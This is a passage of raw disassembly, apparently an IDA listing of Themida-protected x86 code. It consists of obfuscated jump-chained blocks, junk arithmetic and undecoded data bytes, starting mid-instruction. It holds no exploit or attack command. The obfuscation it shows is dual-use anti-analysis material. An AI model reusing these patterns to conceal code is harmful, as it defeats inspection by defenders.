[esp], ebx push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] push esi jmp loc_560933 ; --------------------------------------------------------------------------- loc_55471F: ; CODE XREF: Themida_:005679EBj add esp, 4 jmp loc_5606DD ; --------------------------------------------------------------------------- db 81h dd 4EEh, 24348700h, 0FFFF29E9h, 5BD889FFh, 43E9C101h, 66000062h dd 5024048Bh, 0BA52E089h, 400F5D53h, 0F703E2C1h, 0E28952D2h dd 4C281h, 0EA830000h, 24148704h, 0E77AE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_554766: ; CODE XREF: Themida_:0055D931j add eax, 77414E41h add eax, 61FC6F4Ah add eax, ebx sub eax, 61FC6F4Ah sub eax, 77414E41h pop ebx xchg eax, [esp] mov esp, [esp] shr eax, 10h xor eax, ecx xchg eax, ebx jmp loc_560BFD ; --------------------------------------------------------------------------- loc_55478E: ; CODE XREF: Themida_:00564854j mov ecx, [eax] pop eax push 2E59h mov [esp], esi jmp loc_55C35E ; --------------------------------------------------------------------------- loc_55479E: ; CODE XREF: Themida_:00552F4Cj inc ebp push 0 sub [esp], ebp pop ebp sub ebp, 38B26EE8h xor ebp, 5C7F7E55h sub esp, 4 jmp loc_565727 ; --------------------------------------------------------------------------- loc_5547BF: ; CODE XREF: Themida_:005611C1j mov eax, [esp] jmp loc_558663 ; --------------------------------------------------------------------------- loc_5547C7: ; CODE XREF: Themida_:0055741Fj sub edi, 3DE74AF7h add ebp, edi pop edi xchg ebp, [esp] pop esp mov dword ptr [edx+30h], 62804F39h push ecx push ebp mov ebp, 45866828h push edx mov edx, 69A33E64h mov ecx, 4D3733BDh add ecx, 4CDE035Fh sub ecx, edx sub ecx, 4CDE035Fh jmp loc_553D62 ; --------------------------------------------------------------------------- loc_554800: ; CODE XREF: Themida_:005615B9j shr ebp, 4 xor ebp, 755BAD21h jmp loc_55CBC3 ; --------------------------------------------------------------------------- loc_55480E: ; CODE XREF: Themida_:00553445j add esi, edx mov edx, [esp] add esp, 4 sub esi, 4 jmp loc_559876 ; --------------------------------------------------------------------------- dd 0C104E9C1h, 0E9C103E1h, 0CABBE902h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554832: ; CODE XREF: Themida_:00554C11j mov al, ch pop ecx jmp loc_5534B5 ; --------------------------------------------------------------------------- dw 1489h dd 6AE95524h db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_554843: ; CODE XREF: Themida_:00554A58j pop edx pop ebp neg ebx and ebx, 20D47748h xor ebx, 542B0693h shr ebx, 4 shr ebx, 5 jmp loc_55E13E ; --------------------------------------------------------------------------- dw 34FFh dd 0C4815F24h, 4, 348BF221h, 4C48124h, 0D1000000h, 0BB534AEAh dd 7E080A24h, 0C102E3C1h, 0C38108E3h, 0B4C76AFDh, 5FE9DA01h dd 530000B3h, 5A50BABBh, 20CB8144h, 81135B27h, 0EF325EE3h dd 0D2C0E95Ah, 0E6C00000h, 4F68006h, 8725E9h, 24348900h dd 7C7E57BEh, 5EF5011Ah, 92E9EA29h, 5700009Eh, 0EE57E950h dd 0EB810000h, 4, 31241C33h, 1C33241Ch, 34895C24h, 81E68924h dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 0B5BA2414h, 5714F169h dd 0F11ADABFh, 1FF78179h, 0E94C4169h, 5DBFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55A243 ; --------------------------------------------------------------------------- dd 7F67E5BFh, 14DAE923h, 0C6810001h, 4, 2B951h, 0CE010000h dd 60766859h, 3BE90000h db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_554933: ; CODE XREF: Themida_:00566B94j sub ecx, 4 jmp loc_553989 ; --------------------------------------------------------------------------- loc_55493B: ; CODE XREF: Themida_:0055AE0Aj xor ecx, [esp] mov esp, [esp] add esp, 4 xor [esp], eax jmp loc_5527FE ; --------------------------------------------------------------------------- loc_55494F: ; CODE XREF: Themida_:00559993j mov [esp], edi push esp jmp loc_561159 ; --------------------------------------------------------------------------- loc_554958: ; CODE XREF: Themida_:00562E1Dj add [esp+4], ebp push edi mov edi, 7AA91B1Ah jmp loc_56696E ; --------------------------------------------------------------------------- db 59h dd 44E2EE81h, 0EE812C88h, 38614362h, 0C681CE01h, 38614362h dd 44E2C681h, 51592C88h, 0C1815954h, 4, 0EEBB5350h, 0B83E1954h dd 3E1954EAh, 1C8BD831h, 4C48324h, 5036E981h, 5DE97A97h dd 2DFFFFF6h, 4, 5C240487h, 68243489h, 1C4Ah, 81242489h dd 42404h, 29E90000h, 2D00006Fh, 8E30586Fh, 3158C689h dd 52565EF0h, 9BF68h, 24048900h, 298BE9h db 0 ; --------------------------------------------------------------------------- loc_5549E5: ; CODE XREF: Themida_:00559467j pop dword ptr [esp] mov ebx, [esp] jmp loc_565953 ; --------------------------------------------------------------------------- dd 0FF242C89h, 0FF042474h, 2C8B2434h, 0E6895624h, 4C681h dd 0DBE90000h, 52000042h, 4C0DB951h, 0CA890FD2h, 0BD555659h dd 49830A59h, 8106EDC1h, 0C977A1E5h, 3C00E934h, 8B660000h dd 5457240Ch, 0F94EE9h db 0 ; --------------------------------------------------------------------------- loc_554A35: ; CODE XREF: Themida_:00562691j mov [esp], edx push 293Ah mov [esp], ebp sub dword ptr [esp], 1B3B43D2h pop edx add edx, 1B3B43D2h sub esp, 4 mov [esp], edx pop ebx jmp loc_554843 ; --------------------------------------------------------------------------- loc_554A5D: ; CODE XREF: Themida_:0055BEDEj mov edi, [esp] add esp, 4 push ecx push 4A9Fh jmp loc_557BB5 ; --------------------------------------------------------------------------- db 81h, 0E9h, 0D5h dd 2D806F7Ch, 5CEB727Ch, 6A12E9h, 0E0C15F00h, 895C2D06h dd 0F1E97DC9h, 87FFFFE8h, 5A5C2414h, 4C281h, 86E90000h db 19h, 1, 0 ; --------------------------------------------------------------------------- loc_554A9F: ; CODE XREF: Themida_:00559F78j pop eax push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push esi push esp pop esi add esi, 4 push eax jmp loc_55837D ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0E9000000h, 0C79Fh, 6805EAC1h, 4865h, 68240C89h, 50A8h dd 0BB241C89h, 284C5663h, 0B7C330B9h, 5BD9297Eh, 81D1F749h dd 0C13E64E9h, 0EE1810Ch, 0E9581115h, 0FFFFEBE7h, 0FFDCF1E9h dd 24248BFFh, 0FFDCE9E9h, 80C181FFh, 15CE811h, 93E953D1h dd 8B000122h, 0E952241Ch, 0C251h, 5002EFC0h, 0C78081B4h dd 80E700CEh, 0DCE9CEEFh, 58000090h, 4C481h, 1C330000h dd 241C3124h, 0E9241C33h, 0DA70h, 24048B66h, 4EC8152h dd 54000000h, 0E924048Fh, 0E2CCh, 0AC28AFBDh, 2C815543h dd 1D04EA24h, 93E95F30h, 88000067h, 58C588F8h, 81241C8Bh dd 4C4h, 25E0E900h, 0E9570000h, 3EDAh ; --------------------------------------------------------------------------- loc_554B94: ; CODE XREF: Themida_:00561B8Dj mov eax, 0DBA7FE9h inc eax and eax, 4DB96613h shr eax, 8 shr eax, 7 xor eax, 4E2143D0h add eax, 0E10E4F7h add edx, 2EE91FFDh add edx, eax sub edx, 2EE91FFDh pop eax pop eax xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_553886 ; --------------------------------------------------------------------------- aN1SA db '1Øé>A',0 db 0 ; --------------------------------------------------------------------------- loc_554BD5: ; CODE XREF: Themida_:00563AFFj add edx, edi pop edi and ecx, edx pop edx shr ecx, 7 push 630Bh mov [esp], edi mov edi, 26CA7747h sub edi, 5E462CC0h neg edi dec edi push ecx mov ecx, 1331627Ah jmp loc_5657E1 ; --------------------------------------------------------------------------- db 0BAh dd 7A2D22B5h, 0E95AD001h, 0FFFFEF49h ; --------------------------------------------------------------------------- loc_554C0C: ; CODE XREF: Themida_:0055663Ej mov dl, ch push ecx mov ch, dl jmp loc_554832 ; --------------------------------------------------------------------------- dw 3A68h dd 8900002Dh, 0B8502434h, 11E72BA2h, 0D7548425h, 0DB50514h dd 0C6893333h, 0E9F10958h, 6A98h, 0E6895655h, 0B14AE9h db 0 ; --------------------------------------------------------------------------- loc_554C41: ; CODE XREF: Themida_:00559424j add esp, 4 jmp loc_55EE1E ; --------------------------------------------------------------------------- loc_554C49: ; CODE XREF: Themida_:00560C32j xchg ebx, [esp] pop esp mov [esp], edi jmp loc_55DD44 ; --------------------------------------------------------------------------- db 5Ah, 5Bh, 0E9h dd 11C11h, 732C2604h, 7304D800h, 0FF88E9h, 4875B00h, 34FF5C24h dd 24148B24h, 412E68h, 24348900h, 0C681E689h, 4, 4BA52h dd 0D6010000h, 2434875Ah, 21C2685Ch, 4890000h, 52E08924h dd 433BB951h, 0F1811C56h, 40BC14C4h, 0F702E9C1h, 18A8E9D1h dd 0C4830000h, 57F80104h, 0F50ECBFh, 98F78111h, 0E96C845Fh dd 0FFFFF660h, 9D1C77FFh, 19665866h, 0E99C2404h, 7693h dd 815DE901h, 0E422E7E9h, 0C547E97Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_554CE6: ; CODE XREF: Themida_:00555121j xchg edx, [esp] jmp loc_55ED50 ; --------------------------------------------------------------------------- dw 0D146h dd 1B951EEh, 310036FEh, 240C8BCEh, 37F7E9h, 50EC0400h dd 97C4E9h, 81E38900h, 4C3h, 2C6DE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554D16: ; CODE XREF: Themida_:00558034j push edi pop esi pop edi not edi jmp loc_555679 ; --------------------------------------------------------------------------- dd 0A360C281h, 0EF81BB29h, 7942149Fh, 0C781D729h, 7942149Fh dd 52B6E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_554D3A: ; CODE XREF: Themida_:0055FA75j mov eax, [esp] jmp loc_56390F ; --------------------------------------------------------------------------- dw 565Ch dd 4BEh, 17192D00h, 0F0016E9Bh, 9B171905h, 0FF505E6Eh dd 58042474h, 8B24048Fh, 0C0092424h, 5835840Fh, 0E9500000h dd 126F1h, 685AD101h, 315Dh, 0E9241489h, 2F7h, 0E92434FFh dd 81C5h ; --------------------------------------------------------------------------- loc_554D88: ; CODE XREF: Themida_:00559638j push dword ptr [esp] pop ebx add esp, 4 add ebp, edx jmp loc_557B6D ; --------------------------------------------------------------------------- loc_554D96: ; CODE XREF: Themida_:00553C81j sub ebp, eax add ebp, 2BB07C86h push dword ptr [esp] pop eax jmp loc_55C6EC ; --------------------------------------------------------------------------- db 0BDh dd 59F680Ah, 0C9E9D5F7h db 18h, 1, 0 ; --------------------------------------------------------------------------- loc_554DB3: ; CODE XREF: Themida_:005559CBj mov ecx, 1D2672AAh sub ecx, 0BF0E20F7h mov ebx, ecx pop ecx push eax mov eax, 1BD54DBAh or ebx, eax jmp loc_556600 ; --------------------------------------------------------------------------- dw 0CD68h dd 89000065h, 8EBB241Ch, 95CF83Fh, 241C8BDDh, 8104C483h dd 18684CEDh, 5DE829E6h, 0F2BD5556h, 895ECB76h, 77E95DEEh dd 4300007Ch, 265FE381h, 0C381251Fh, 0DE45DFE7h, 8B5BD929h dd 0AAE9242Ch db 62h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554E13: ; CODE XREF: Themida_:00567276j push ecx mov cl, 9Bh add cl, 13h dec cl and cl, 1Eh add cl, 30h jmp loc_55E859 ; --------------------------------------------------------------------------- dw 0B252h dd 3056B1FAh, 24148BD1h, 4A36E9h, 0E99C5000h, 0FFFFD9C2h dd 37D168h, 0E351E900h, 0CAFE0000h, 8885F280h, 685AD7h dd 28000000h, 3C8A243Ch, 4C48324h, 0E904EC83h, 0B9CCh dd 2104C483h, 34FF1C5Fh, 54505B24h, 40558h, 62E90000h dd 660000D6h, 53240C8Bh, 0C381E389h, 4, 8704EB83h, 895C241Ch dd 12E92404h db 57h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554E97: ; CODE XREF: Themida_:005591C2j pop eax push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp sub eax, 478E2423h sub esp, 4 mov [esp], ecx push edi push 302F2675h mov edi, [esp] push edx mov edx, esp push ecx mov ecx, 796D02FCh add ecx, 244026A3h not ecx and ecx, 373B088Dh add ecx, 0DDEE0004h add edx, ecx pop ecx add edx, 4 xchg edx, [esp] pop esp jmp loc_55AEB6 ; --------------------------------------------------------------------------- db 35h dd 58CA005Bh, 3506E8C1h, 290874DFh, 0C109E9h db 0 ; --------------------------------------------------------------------------- loc_554EFD: ; CODE XREF: Themida_:0055998Bj push dword ptr [esp] pop ebx add esp, 4 push ecx jmp loc_5603DE ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 124568h, 242C8900h, 0BA52E589h, 4, 0E95AD501h, 3FDh dd 4C581h, 0BA520000h, 4, 51E5E9h, 0C896600h, 4EC8124h dd 89000000h, 82B3241Ch, 6083E9h db 0 ; --------------------------------------------------------------------------- loc_554F4D: ; CODE XREF: Themida_:0056374Ej add bl, 72h jmp loc_55D323 ; --------------------------------------------------------------------------- loc_554F55: ; CODE XREF: Themida_:00559880j mov edi, 57075B12h sub ebx, edi jmp loc_55B170 ; --------------------------------------------------------------------------- loc_554F61: ; CODE XREF: Themida_:0055AEAAj pop esp mov ebp, [esp] push eax jmp loc_557C8E ; --------------------------------------------------------------------------- aSn_0 db '^)Úén+',0 dw 8900h dd 4832424h, 22E90424h db 25h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554F7F: ; CODE XREF: Themida_:005544F4j sub [esp+4], ebx add dword ptr [esp+4], 658130F2h push ebp jmp loc_55F5F7 ; --------------------------------------------------------------------------- db 68h, 15h, 44h dd 4B5B0F34h, 0D2F7D387h, 0C381D387h, 3D774ED7h, 27E9DD89h dd 81000094h, 4C6h, 0EC815600h, 4, 81242489h, 42404h, 348B0000h dd 4C48124h, 81000000h, 4C6h, 4EE8100h, 0E9000000h, 0B496h ; --------------------------------------------------------------------------- loc_554FDC: ; CODE XREF: Themida_:00553042j xchg ebx, [esp] pop esp shr ecx, 0Bh sub esp, 4 mov [esp], edx push esp pop edx add edx, 4 push 3B3Dh mov [esp], edi mov edi, 65111151h push esi mov esi, 0F561C7Ah sub esi, 2C3D45B4h push ecx mov ecx, 2FA75F89h jmp loc_5558A7 ; --------------------------------------------------------------------------- db 81h, 0C3h, 73h dd 117956Bh, 73EB81D3h, 0FF17956Bh, 565A2434h, 0E9515E54h dd 0FFFFE131h ; --------------------------------------------------------------------------- loc_555030: ; CODE XREF: Themida_:0055A351j push 4A8Ch mov [esp], ebx push 0FFFFh push dword ptr [esp] mov ebx, [esp] push eax jmp loc_55F7A8 ; --------------------------------------------------------------------------- db 0B6h, 92h, 80h dd 81E935F6h, 8B000108h, 85662424h, 9FE99CC8h, 59FFFFD7h dd 0C0FFEA80h, 0EC8105EAh, 4, 660E9h, 7AE95C00h, 89000003h dd 0BF5753E2h, 7F1A437Ah, 3D50BE56h, 0F68127DFh, 49A845B2h dd 0CE814E4Eh, 50EE24EEh, 3B22E9h, 4C18100h, 83000000h dd 0C8704E9h, 34895C24h, 81E68924h, 4C6h, 887E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5550B6: ; CODE XREF: Themida_:00557818j sub edx, 349F33C8h jmp loc_566084 ; --------------------------------------------------------------------------- loc_5550C1: ; CODE XREF: Themida_:00555E15j not ebp add ebp, 5D6E9EE5h add ebx, ebp jmp loc_565681 ; --------------------------------------------------------------------------- dd 0F750E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5550D6: ; CODE XREF: Themida_:00562E49j add esp, 4 add esp, 4 push 6BDCh mov [esp], edi push edx mov edx, esp jmp loc_567429 ; --------------------------------------------------------------------------- db 81h dd 4F7405E9h, 4E94921h, 33000100h, 96E9243Ch, 2D000047h dd 2, 5C240487h, 241C8966h, 0F1ACE9h db 0 ; --------------------------------------------------------------------------- loc_555115: ; CODE XREF: Themida_:005673B2j add edx, 4 add edx, 4 jmp loc_554CE6 ; --------------------------------------------------------------------------- dw 0EB81h dd 0DFA6D9Eh, 0C381EB01h, 0DFA6D9Eh, 5D2434FFh, 81E78957h dd 4C7h, 4C78300h, 5C243C87h, 0D268C329h, 8900002Eh, 34E92404h db 8, 1, 0 ; --------------------------------------------------------------------------- loc_555157: ; CODE XREF: Themida_:0055D52Fj push edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] pop esp add edx, 4 push edx push dword ptr [esp+4] jmp loc_563D86 ; --------------------------------------------------------------------------- dd 0B9240C89h, 6A3059B5h, 5FC18141h, 0E9183053h, 69EFh ; --------------------------------------------------------------------------- loc_555188: ; CODE XREF: Themida_:00559136j pop edi add esp, 4 sub ebx, esi mov esi, [esp] add esp, 4 add ebx, eax push esi push ebx mov ebx, 20B83064h mov esi, 45A2A4EFh sub esi, ebx mov ebx, [esp] add esp, 4 inc esi neg esi add esi, 7D92CCF2h add ebx, esi mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], eax push dword ptr [esp] jmp loc_55EC7D ; --------------------------------------------------------------------------- db 8Bh dd 0C4832414h, 3EBF5704h, 813DD37Dh, 3C10F0C7h, 5E7C17Ah dd 0F3E95053h, 0B80000F3h, 4, 0B709E9h, 0EFF68000h, 0D23AE9h dd 2474FF00h, 48F5904h, 24248B24h, 662D68h, 241C8900h dd 3E5E68h, 24248900h, 4EC81h, 2EE90000h, 87FFFFE0h, 248B241Ch dd 0FD65E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55522E: ; CODE XREF: Themida_:0055AD87j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp add edx, 0E056692h jmp loc_558C7B ; --------------------------------------------------------------------------- aRs_0 db 'Ré´Ó',0 align 2 dw 0F028h dd 0FAE95266h, 33000034h, 34312434h, 40CAE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555266: ; CODE XREF: Themida_:00560C5Bj mov edi, 9041AFECh sub edi, eax pop eax jmp loc_55E00D ; --------------------------------------------------------------------------- loc_555273: ; CODE XREF: Themida_:005653CBj sub esp, 4 mov [esp], eax mov eax, 26540B70h neg eax push edx mov edx, 29F5143Ah or edx, 49B643F9h inc edx jmp loc_55BBC8 ; --------------------------------------------------------------------------- aBqqB db 'ïq:¡',0 db 89h dd 6C295FFDh, 815D0824h, 2B042444h, 8104AE0Dh, 3404246Ch dd 107F815h, 0E904247Ch, 10BC3h ; --------------------------------------------------------------------------- loc_5552BC: ; CODE XREF: Themida_:005581EEj pop esp mov [esp], ecx jmp loc_560487 ; --------------------------------------------------------------------------- db 5Ah, 1, 0F9h aLSeo db '‹<$饎',0 align 10h dd 4C481h, 5E90000h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5552DB: ; CODE XREF: Themida_:0055D720j mov edi, [esp] add esp, 4 jmp loc_565A0E ; --------------------------------------------------------------------------- dw 0D2F7h dd 0FFDD99E9h, 241C89FFh, 0FFFC9CE9h, 5AE8B9FFh, 0D9F72A1Eh dd 6CCCC981h, 69E94FB4h, 10000ABh, 7179E9EBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55530E: ; CODE XREF: Themida_:00565EF5j pop dword ptr [esp] mov esp, [esp] shr ecx, 7 push dword ptr [edi+1Ch] jmp loc_56116F ; --------------------------------------------------------------------------- db 5Dh dd 8EFBE9h, 4B85000h, 1000000h, 2C8758C5h, 0C3835C24h dd 4EF5E904h, 0C4830000h, 0E1E98104h, 179EC57h, 0E1C181F1h dd 8179EC57h, 0A00447C1h, 53565E08h, 5486DBBh, 5BDE8918h dd 0EE81DEF7h, 0E7FAB78Fh, 0B4BFE9h, 24348700h, 0F624248Bh dd 0B105E9F9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555376: ; CODE XREF: Themida_:00557E1Fj pop ebx push eax jmp loc_55E7B8 ; --------------------------------------------------------------------------- db 53h, 56h, 57h dd 4B4D64BFh, 0B210E909h, 39BB0000h, 0E92D1F6Ch, 632Ah ; --------------------------------------------------------------------------- loc_555394: ; CODE XREF: Themida_:00562151j xor al, 13h add dh, al pop eax pop ecx mov bh, dh mov edx, [esp] add esp, 4 push edx mov dl, 93h jmp loc_567C26 ; --------------------------------------------------------------------------- loc_5553AA: ; CODE XREF: Themida_:0055B0E9j pop dx sub al, ch sub al, 0C0h push ebx jmp loc_55AB60 ; --------------------------------------------------------------------------- dw 0E981h dd 0EA6A58Ch, 0E3E9CF01h db 1Bh, 1, 0 ; --------------------------------------------------------------------------- loc_5553C3: ; CODE XREF: Themida_:0055AEB1j pop eax xchg ebp, [esp] pop esp jmp loc_561A04 ; --------------------------------------------------------------------------- db 59h, 49h, 55h dd 58A56851h, 81597C6Dh, 2E85AE9h, 59CD894Eh, 1589E581h dd 0C5810A31h, 57C83C58h, 0FFF8E7E9h, 240489FFh, 4B8h dd 7EB85000h, 296EB84Eh, 58082444h, 4244401h, 4244481h dd 6EB84E7Eh, 8324048Bh, 535D04C4h, 0DB260ABBh, 87DBF726h dd 31D2F7D3h, 31DA31D3h, 0FDB951D3h, 31268D37h, 0C38159CBh dd 0FFA9EE10h, 50D9ED81h, 0DD01753Ch, 50D9C581h, 815B753Ch dd 2C5h, 242C3300h, 33242C31h, 248B242Ch, 0BE0F6624h, 805AE9C8h dd 0C7810000h, 6A3C3434h, 81DF0159h, 0FA1032C7h, 3C335B77h dd 243C3124h, 0E9243C33h, 1A63h, 8168E5D1h, 89000062h dd 0D2BB241Ch, 5163381Fh, 7980E9h, 24343300h, 4EC815Ch dd 0E9000000h, 120F4h, 2E6C159h, 2F68E6D1h, 89000032h dd 0E8E9243Ch db 0EBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5554B7: ; CODE XREF: Themida_:0055A295j add ebx, 4 xchg ebx, [esp] pop esp push dword ptr [esp] jmp loc_561DCC ; --------------------------------------------------------------------------- aBHCbK9ss db 'ê-HÛcÂ+k±9éè:',0 dw 8700h dd 248B2404h, 9B5E924h, 0F9290001h, 0D09AE9h db 0 ; --------------------------------------------------------------------------- loc_5554E9: ; CODE XREF: Themida_:00564A84j sub esi, edx mov edx, [esp] jmp loc_55F9BF ; --------------------------------------------------------------------------- loc_5554F3: ; CODE XREF: Themida_:00557B80j sub ebp, 6DC33BCh jmp loc_5535BA ; --------------------------------------------------------------------------- dw 8B66h dd 0EC832404h, 24348904h, 7AD1E9h, 4BE5600h, 1000000h dd 77CDE9F1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55551A: ; CODE XREF: Themida_:005573B3j mov esi, [esp] jmp loc_55AB1B ; --------------------------------------------------------------------------- dw 2C89h dd 30B95124h, 0C1604845h, 0C18103E9h, 283F4F25h, 934BE9h dd 0DDB35300h, 2CA2EB80h, 0E4F5E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_555546: ; CODE XREF: Themida_:00557BB0j pop edx jmp loc_55F5C7 ; --------------------------------------------------------------------------- loc_55554C: ; CODE XREF: Themida_:00559F81j sub bl, dl push eax mov al, 87h and al, 0F6h dec al not al shr al, 1 push bx mov bl, 35h and al, bl jmp loc_5540DB ; --------------------------------------------------------------------------- dd offset dword_4EE94C+71Ch dd 0E28BE900h, 3C870000h, 0EB835C24h, 241C8702h, 6624248Bh dd 0E9240489h, 3625h ; --------------------------------------------------------------------------- loc_555584: ; CODE XREF: Themida_:00557777j push eax not dword ptr [esp] jmp loc_55EFDD ; --------------------------------------------------------------------------- db 56h, 0BEh, 41h dd 0F75E8577h, 989DE9DEh, 54510000h, 592434FFh, 81E38953h dd 4C3h, 4C38100h, 0E9000000h, 1FF1h, 0FE89F729h, 3ED7E9h dd 82C6800h, 0C890000h, 712FB924h, 0C5814D18h, 6EF81719h dd 0ED81CD29h, 6EF81719h, 81CD0159h, 18712FC5h, 0C581594Dh dd 0FFFFFFFFh, 542CE9h db 0 ; --------------------------------------------------------------------------- loc_5555ED: ; CODE XREF: Themida_:005558A9j sub ecx, 6ECE1F29h shl ecx, 2 xor ecx, 0B5A17405h add esi, 75F70BBEh sub esi, ecx sub esi, 75F70BBEh pop ecx sub esi, 52B834EFh add esi, 0A32ACF67h sub edi, esi pop esi push ebx mov ebx, 56F473C4h dec ebx jmp loc_560FF9 ; --------------------------------------------------------------------------- dw 0C581h dd 3AE2626Bh, 0ED81DD29h, 3AE2626Bh, 5DE8895Bh, 34FFC301h dd 0F4FDE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555642: ; CODE XREF: Themida_:00558CA0j mov [esp], ecx push ebx push 57D63C01h jmp loc_5558BF ; --------------------------------------------------------------------------- db 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx jmp loc_55E4E8 ; --------------------------------------------------------------------------- dw 0E957h dd 0FD3Dh, 4285E681h, 0C6812D34h, 0DAFFBF80h, 0FFD208E9h db 0FFh ; --------------------------------------------------------------------------- loc_555671: ; CODE XREF: Themida_:00564C49j mov [esp], ecx jmp loc_5527FE ; --------------------------------------------------------------------------- loc_555679: ; CODE XREF: Themida_:00554D1Bj push esi sub esp, 4 mov [esp], edi pop esi pop edi xor [esp], esi jmp loc_55685C ; --------------------------------------------------------------------------- loc_55568A: ; CODE XREF: Themida_:0055AF5Fj pop esi add ebp, 4 jmp loc_5546FD ; --------------------------------------------------------------------------- loc_555693: ; CODE XREF: Themida_:0055F64Aj mov [esp], eax push 14ECh mov [esp], edi jmp loc_564D91 ; --------------------------------------------------------------------------- db 89h dd 31BD242Ch, 0F70BC73Dh, 0CFE581D5h, 4505DE55h, 509BBB53h dd 0EB817C83h, 7C83509Ch, 6E9DD29h, 0B800000Fh, 59CF7FF8h dd 124F4E9h, 24048900h, 0F8865FB0h, 0F886DFF6h, 0F68FB252h dd 0FFEA80D2h, 6ABBE9h db 0 ; --------------------------------------------------------------------------- loc_5556E9: ; CODE XREF: Themida_:0055BD6Aj push ebp mov ebp, esp push edi mov edi, 4 add ebp, edi pop edi add ebp, 4 xchg ebp, [esp] pop esp sub al, 5Bh push ecx mov ch, 0DAh not ch neg ch jmp loc_56517F ; --------------------------------------------------------------------------- dw 0D9F6h dd 0A7BE9h, 0B9F68100h, 159AF05h, 2434FFF7h, 0BEE9515Eh dd 8300002Fh, 0E98104C4h, 7239E3CFh, 53E2C681h, 0CE295FE9h dd 53E2EE81h, 0E9595FE9h, 0FFFFE787h ; --------------------------------------------------------------------------- loc_555740: ; CODE XREF: Themida_:0055EBCCj add esp, 4 push eax push dword ptr [esp+4] jmp loc_55D9A2 ; --------------------------------------------------------------------------- aBH db 'Ëh"=',0 dw 814Bh dd 3F36F6EBh, 0E9DD015Ch, 2ED8h, 9AFAE955h, 0EC830000h dd 24348904h, 8904EC83h, 0DDB82404h, 68796715h, 725Eh dd 0FF240489h, 815E2434h, 4C4h, 2434FF00h, 2852E958h, 0CF010000h dd 243C3359h, 33243C31h, 0DE9243Ch db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5557A7: ; CODE XREF: Themida_:005606E5j sub edx, ebx pop ebx jmp loc_5527FE ; --------------------------------------------------------------------------- db 54h dd 13E3E95Ah, 0DF010001h, 7BD2C781h, 0EF8142E0h, 4AD245C9h dd 4871EF81h, 0E95B622Ch, 0DD01h, 0C2815D58h, 39697703h dd 0EA81C229h, 39697703h, 4A92EA81h, 13E93FAEh, 81FFFFD0h dd 0D1784EBh, 4EC8101h, 89000000h, 3481241Ch, 6D23E724h dd 8CE95D76h db 0Ah, 1, 0 ; --------------------------------------------------------------------------- loc_555807: ; CODE XREF: Themida_:00556AD5j mov edx, 30DE0F28h add ebp, edx pop edx add ebp, edx jmp loc_557B08 ; --------------------------------------------------------------------------- dw 0D028h dd 8B668404h, 0E9522414h, 332Ah, 0C581E589h, 4, 30E8B951h dd 0F1812F8Ch, 2F8C30ECh, 1CF1ED81h, 0CD293862h, 0EF89E9h dd 0C4C28100h, 817FEC0Fh, 0DA4A52C2h, 0BCA0E946h, 0E1890000h dd 4C181h, 0BE560000h, 4, 0E95EF129h, 104A2h, 2FEE81h dd 0EC83168Dh, 242C8904h, 6B1CE9h, 0BB535100h, 482A2D25h dd 2A76CB81h, 0EB815B5Ah, 2F373491h, 1487C381h, 0F3817BACh dd 53C17293h, 1EF7EB81h, 74E9C21Dh db 85h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5558A7: ; CODE XREF: Themida_:00555010j neg ecx jmp loc_5555ED ; --------------------------------------------------------------------------- dw 74FFh dd 8F5F0424h, 315C2404h, 0E3E95AD0h db 74h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5558BF: ; CODE XREF: Themida_:0055564Bj pop ebx push ecx mov ecx, 84F794Dh push edx mov edx, 0D64775Ah inc edx xor edx, 7A6E5B1Dh push edi mov edi, 0F81FFB4Ch sub edx, edi pop edi jmp loc_556FF4 ; --------------------------------------------------------------------------- db 0FEh, 0C3h, 80h dd 0CBFE7ECBh, 8840C380h, 83E95BDDh, 810000C2h, 4C6h, 4C68300h dd 5C243487h, 1C772159h, 50CCE9h, 0ADEA8100h, 2959617Fh dd 0ADC281C2h, 8159617Fh, 0F166D8EAh, 0DBE95863h, 2DFFFFCEh dd 63006FD4h, 496E0540h, 0B9513BBCh, 778C09C8h, 5059C801h dd 0FFD98FE9h, 4B850FFh, 1000000h, 2AFCE9C6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55594A: ; CODE XREF: Themida_:00566145j sub eax, 4 jmp loc_559F20 ; --------------------------------------------------------------------------- dw 815Ah dd 4B7C53F7h, 60EF811Ah, 815FB340h, 21A552F7h, 4A16E9B7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55596A: ; CODE XREF: Themida_:00566B89j pop esi jmp loc_55343F ; --------------------------------------------------------------------------- 